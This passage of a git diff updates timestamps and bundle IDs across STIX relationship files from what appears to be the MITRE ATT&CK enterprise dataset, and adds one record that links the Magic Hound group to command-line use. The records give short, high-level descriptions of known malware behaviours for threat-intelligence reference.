             "id": "relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
diff --git a/enterprise-attack/relationship/relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9.json b/enterprise-attack/relationship/relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9.json
index 4381509033..02adf9a531 100644
--- a/enterprise-attack/relationship/relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9.json
+++ b/enterprise-attack/relationship/relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--173c3eb9-9352-4bc2-a306-1848c7892af1",
+    "id": "bundle--1a0d8a8c-7c45-4b8b-a876-17190e78b84f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--171380bf-41ff-43da-86fe-c131f5f7b97b.json b/enterprise-attack/relationship/relationship--171380bf-41ff-43da-86fe-c131f5f7b97b.json
index 81d3adc5bb..81c039cf9c 100644
--- a/enterprise-attack/relationship/relationship--171380bf-41ff-43da-86fe-c131f5f7b97b.json
+++ b/enterprise-attack/relationship/relationship--171380bf-41ff-43da-86fe-c131f5f7b97b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68e8a320-a8e7-4399-bf5b-dbf2423773b6",
+    "id": "bundle--1f3f1084-6957-4941-899f-91cb21f0b7e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Recent versions of Cherry Picker delete files and registry keys created by the malware.",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
diff --git a/enterprise-attack/relationship/relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4.json b/enterprise-attack/relationship/relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4.json
index b5da481ae6..6efe9b6799 100644
--- a/enterprise-attack/relationship/relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4.json
+++ b/enterprise-attack/relationship/relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e4c1325b-e59a-4e3d-83df-18cf70a9a376",
+    "id": "bundle--c23e83a5-d3b9-4514-add3-32788b015195",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has compressed files before exfiltration using TAR and RAR.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e.json b/enterprise-attack/relationship/relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e.json
index b22d31e9b5..45c460354c 100644
--- a/enterprise-attack/relationship/relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e.json
+++ b/enterprise-attack/relationship/relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd2f303a-dcc1-4c47-b6b3-b9b2a03d9aa5",
+    "id": "bundle--38d37723-c476-499a-814f-fe254cfd3d3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use at to schedule tasks to run self-extracting RAR archives, which install HTTPBrowser or PlugX on other victims on a network.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba.json b/enterprise-attack/relationship/relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba.json
index 59db5f15f7..8ad786cee2 100644
--- a/enterprise-attack/relationship/relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba.json
+++ b/enterprise-attack/relationship/relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c8a0afa-98e4-47f9-87b5-8f24b1c0e247",
+    "id": "bundle--6e8d4c54-12e6-4def-8318-17127c157712",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses Windows services typically named \"javamtsup\" for persistence.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--1762fe5a-0810-4179-bfb0-16d965ffe055.json b/enterprise-attack/relationship/relationship--1762fe5a-0810-4179-bfb0-16d965ffe055.json
index 17cb77540d..ccf3e0e235 100644
--- a/enterprise-attack/relationship/relationship--1762fe5a-0810-4179-bfb0-16d965ffe055.json
+++ b/enterprise-attack/relationship/relationship--1762fe5a-0810-4179-bfb0-16d965ffe055.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ff7cda85-08e3-40ce-a8a8-bd88b7491bbe",
+    "id": "bundle--6b6e25e0-c2c7-4398-be6d-cb5052cf6ccd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1762fe5a-0810-4179-bfb0-16d965ffe055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--1782abeb-8d28-42a1-8abe-c137f23b282c.json b/enterprise-attack/relationship/relationship--1782abeb-8d28-42a1-8abe-c137f23b282c.json
index 95f591fa74..94275b4149 100644
--- a/enterprise-attack/relationship/relationship--1782abeb-8d28-42a1-8abe-c137f23b282c.json
+++ b/enterprise-attack/relationship/relationship--1782abeb-8d28-42a1-8abe-c137f23b282c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--074a3856-4bd3-4991-beae-89a26454dfb2",
+    "id": "bundle--53a0168f-480b-4a65-973f-f3631dac8232",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ComRAT has used HTTP requests for command and control.",
             "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
diff --git a/enterprise-attack/relationship/relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5.json b/enterprise-attack/relationship/relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5.json
index 751633540f..1a0a1628e9 100644
--- a/enterprise-attack/relationship/relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5.json
+++ b/enterprise-attack/relationship/relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9fee3c46-5f72-44aa-a238-6c1b3e6d8902",
+    "id": "bundle--8db4aeb3-e3f2-4b3e-b4f7-8107e92f3c5f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--17bc0957-1509-4faf-bb51-a6a9e1959978.json b/enterprise-attack/relationship/relationship--17bc0957-1509-4faf-bb51-a6a9e1959978.json
new file mode 100644
index 0000000000..3b02e25743
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--17bc0957-1509-4faf-bb51-a6a9e1959978.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--228ade01-8c12-488e-98b9-4d108dd1c236",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has used the command-line interface.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--17f9d6c8-f938-4532-b834-3834655911b8.json b/enterprise-attack/relationship/relationship--17f9d6c8-f938-4532-b834-3834655911b8.json
index 77c4316773..613b8b1ab4 100644
--- a/enterprise-attack/relationship/relationship--17f9d6c8-f938-4532-b834-3834655911b8.json
+++ b/enterprise-attack/relationship/relationship--17f9d6c8-f938-4532-b834-3834655911b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ef958dc-1ee5-4570-8425-54dde78d94a5",
+    "id": "bundle--8c56bd0b-b67e-4c8b-b627-988ea6017999",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--17f9d6c8-f938-4532-b834-3834655911b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Dyre crimeware toolkit has refined its detection of sandbox analysis environments by inspecting the process list and Registry.",
             "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
diff --git a/enterprise-attack/relationship/relationship--18324fed-7770-4768-b652-59860ac4782f.json b/enterprise-attack/relationship/relationship--18324fed-7770-4768-b652-59860ac4782f.json
index f5cb7e8ff4..50b671a939 100644
--- a/enterprise-attack/relationship/relationship--18324fed-7770-4768-b652-59860ac4782f.json
+++ b/enterprise-attack/relationship/relationship--18324fed-7770-4768-b652-59860ac4782f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e31d4662-00f0-469f-a797-ae1dd109ee1b",
+    "id": "bundle--5ed3e8ee-23c6-409e-ad3d-8663a60c3dac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--18324fed-7770-4768-b652-59860ac4782f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system. FLASHFLOOD will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. FLASHFLOOD also collects information stored in the Windows Address Book.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--18572125-3439-4f7c-92c8-d787913dc989.json b/enterprise-attack/relationship/relationship--18572125-3439-4f7c-92c8-d787913dc989.json
index 7b5a8a0b01..ded7fa4776 100644
--- a/enterprise-attack/relationship/relationship--18572125-3439-4f7c-92c8-d787913dc989.json
+++ b/enterprise-attack/relationship/relationship--18572125-3439-4f7c-92c8-d787913dc989.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09f238e2-a29c-48f4-8fdf-c7054da93891",
+    "id": "bundle--3284a1b5-7b55-49d1-a185-e92882688f9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--18572125-3439-4f7c-92c8-d787913dc989",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor has the ability to upload and download files from its C2 server.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559.json b/enterprise-attack/relationship/relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559.json
index fb976c685a..49520fb139 100644
--- a/enterprise-attack/relationship/relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559.json
+++ b/enterprise-attack/relationship/relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a59403ae-50ac-4452-b87b-80c38dcccd0a",
+    "id": "bundle--a4242877-5a17-4c7e-b434-d905bbdd62c6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a keylogger module that collects keystrokes and the titles of foreground windows.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--191885b6-1282-4173-a2bd-174c30c8a1dc.json b/enterprise-attack/relationship/relationship--191885b6-1282-4173-a2bd-174c30c8a1dc.json
index e3d8df4b93..77078b9f7a 100644
--- a/enterprise-attack/relationship/relationship--191885b6-1282-4173-a2bd-174c30c8a1dc.json
+++ b/enterprise-attack/relationship/relationship--191885b6-1282-4173-a2bd-174c30c8a1dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--836e8245-08b0-4824-b29e-2c73cdd14a1c",
+    "id": "bundle--a5711b74-007d-4378-9c85-5f4ceb4f69cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--191885b6-1282-4173-a2bd-174c30c8a1dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to <code>%SYSTEMROOT%</code> (<code>C:\\WINDOWS\\ntshrui.dll</code>).",
             "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
diff --git a/enterprise-attack/relationship/relationship--1923a47b-5a48-44e6-883f-ca23a96fea46.json b/enterprise-attack/relationship/relationship--1923a47b-5a48-44e6-883f-ca23a96fea46.json
index 66343dbc93..6f4bf1dd93 100644
--- a/enterprise-attack/relationship/relationship--1923a47b-5a48-44e6-883f-ca23a96fea46.json
+++ b/enterprise-attack/relationship/relationship--1923a47b-5a48-44e6-883f-ca23a96fea46.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5f56a05b-de3a-4cc8-92f9-7999ba085fa2",
+    "id": "bundle--17a4308f-a316-424e-937e-6ed58dca2cc8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT obtains a list of running processes on the victim.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--196a2d37-4b87-465d-8d92-2e614cda869c.json b/enterprise-attack/relationship/relationship--196a2d37-4b87-465d-8d92-2e614cda869c.json
index ae0fdee2f3..dceef18f8f 100644
--- a/enterprise-attack/relationship/relationship--196a2d37-4b87-465d-8d92-2e614cda869c.json
+++ b/enterprise-attack/relationship/relationship--196a2d37-4b87-465d-8d92-2e614cda869c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d117d882-6c6b-4a83-ad06-8f0425e14e59",
+    "id": "bundle--27eb8778-f68b-43d3-aa06-d8cc9c89e22f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--196a2d37-4b87-465d-8d92-2e614cda869c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782",
             "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
diff --git a/enterprise-attack/relationship/relationship--1984ba26-2309-49db-8c42-75951d0ef678.json b/enterprise-attack/relationship/relationship--1984ba26-2309-49db-8c42-75951d0ef678.json
index 24c9bc62b9..04f27b8239 100644
--- a/enterprise-attack/relationship/relationship--1984ba26-2309-49db-8c42-75951d0ef678.json
+++ b/enterprise-attack/relationship/relationship--1984ba26-2309-49db-8c42-75951d0ef678.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--01ed7fcf-22e5-4145-8758-833cf79c8ff2",
+    "id": "bundle--4b0f18eb-9444-4c94-8024-95223c6721e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1984ba26-2309-49db-8c42-75951d0ef678",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD C2 traffic can communicate via TCP raw sockets.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8.json b/enterprise-attack/relationship/relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8.json
index c667aa5cca..8bbc13574b 100644
--- a/enterprise-attack/relationship/relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8.json
+++ b/enterprise-attack/relationship/relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--674b4d29-963e-4402-8a14-d7c81e951031",
+    "id": "bundle--d4b4292a-c1aa-46a3-98c1-665c14f56b6d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect information about anti-virus software on the victim.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--19be6ce1-8eea-47ff-b87c-3358d390454d.json b/enterprise-attack/relationship/relationship--19be6ce1-8eea-47ff-b87c-3358d390454d.json
index 2956f9334d..ec77665e03 100644
--- a/enterprise-attack/relationship/relationship--19be6ce1-8eea-47ff-b87c-3358d390454d.json
+++ b/enterprise-attack/relationship/relationship--19be6ce1-8eea-47ff-b87c-3358d390454d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8075eb3-8661-4e8d-b76c-a9d7681726ab",
+    "id": "bundle--12684b5b-5cf6-4124-a792-72f3addd42b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--19be6ce1-8eea-47ff-b87c-3358d390454d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "China Chopper is capable of opening a command terminal.",
             "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
diff --git a/enterprise-attack/relationship/relationship--19c33297-1efd-4489-b09c-a4230ce194f4.json b/enterprise-attack/relationship/relationship--19c33297-1efd-4489-b09c-a4230ce194f4.json
index 9562ca5951..21cb250759 100644
--- a/enterprise-attack/relationship/relationship--19c33297-1efd-4489-b09c-a4230ce194f4.json
+++ b/enterprise-attack/relationship/relationship--19c33297-1efd-4489-b09c-a4230ce194f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--713986de-5e5c-4d6a-ac0e-820d9c5eb666",
+    "id": "bundle--cb91fcd8-c974-4f82-b633-66e97717b15b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 uses an XOR 0x1 loop to encrypt its C2 domain.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--19fce62c-ba70-4c20-bf74-0bca7886190c.json b/enterprise-attack/relationship/relationship--19fce62c-ba70-4c20-bf74-0bca7886190c.json
index c256b5bed1..28dfc3438a 100644
--- a/enterprise-attack/relationship/relationship--19fce62c-ba70-4c20-bf74-0bca7886190c.json
+++ b/enterprise-attack/relationship/relationship--19fce62c-ba70-4c20-bf74-0bca7886190c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02db3da6-83dd-4448-ac73-f00ce96d813a",
+    "id": "bundle--ef76ecaa-3ff2-43f8-843d-80680c82c5ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--19fce62c-ba70-4c20-bf74-0bca7886190c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
diff --git a/enterprise-attack/relationship/relationship--1a028242-1896-4867-a691-c97867f1663d.json b/enterprise-attack/relationship/relationship--1a028242-1896-4867-a691-c97867f1663d.json
index 693cc2470c..1e30b930b3 100644
--- a/enterprise-attack/relationship/relationship--1a028242-1896-4867-a691-c97867f1663d.json
+++ b/enterprise-attack/relationship/relationship--1a028242-1896-4867-a691-c97867f1663d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--86189b49-0d73-49c0-8a13-b5f8fc4e3bfc",
+    "id": "bundle--513f6e40-96b4-48a1-a314-d64ee5743bc6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a028242-1896-4867-a691-c97867f1663d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise encrypts exfiltrated data with RC4.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--1a3de27b-377c-4390-9911-2da8aaa705e3.json b/enterprise-attack/relationship/relationship--1a3de27b-377c-4390-9911-2da8aaa705e3.json
index fbf3533053..d6883bd32f 100644
--- a/enterprise-attack/relationship/relationship--1a3de27b-377c-4390-9911-2da8aaa705e3.json
+++ b/enterprise-attack/relationship/relationship--1a3de27b-377c-4390-9911-2da8aaa705e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c0d27bb3-8c97-4fa4-b682-721b5ea8d29d",
+    "id": "bundle--70e1fa15-6617-4115-a9b2-5a79c7f46185",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a3de27b-377c-4390-9911-2da8aaa705e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332",
             "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
diff --git a/enterprise-attack/relationship/relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2.json b/enterprise-attack/relationship/relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2.json
index e995bcf325..8a184aec81 100644
--- a/enterprise-attack/relationship/relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2.json
+++ b/enterprise-attack/relationship/relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cdba63d5-f1f2-4848-9faa-b4547fe4602b",
+    "id": "bundle--7f0a6aa1-a221-4b52-866e-3cff2a8cd881",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
